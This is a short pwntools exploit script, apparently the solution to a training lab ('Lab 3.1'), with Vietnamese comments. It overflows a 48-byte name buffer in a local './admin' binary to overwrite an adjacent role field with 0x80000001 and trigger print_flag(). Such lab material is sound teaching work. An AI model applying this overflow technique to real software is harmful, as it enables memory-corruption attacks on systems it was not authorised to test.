#!/usr/bin/env python3
# Lab 3.1: ghi gia tri cu the 0x80000001 vao bien role de print_flag().
# role nam ngay sau name[48] trong struct => offset = 48 (bao dam boi layout struct).
# 0x80000001 rong 4 byte => dung p32 (p64 se ghi lo 4 byte sang vung sau).
from pwn import *

context.binary = ELF('./admin', checksec=False)
context.log_level = 'info'

io = process('./admin')
io.sendlineafter(b'Ten: ', b'A' * 48 + p32(0x80000001))
print(io.recvall(timeout=2).decode(errors='replace'))
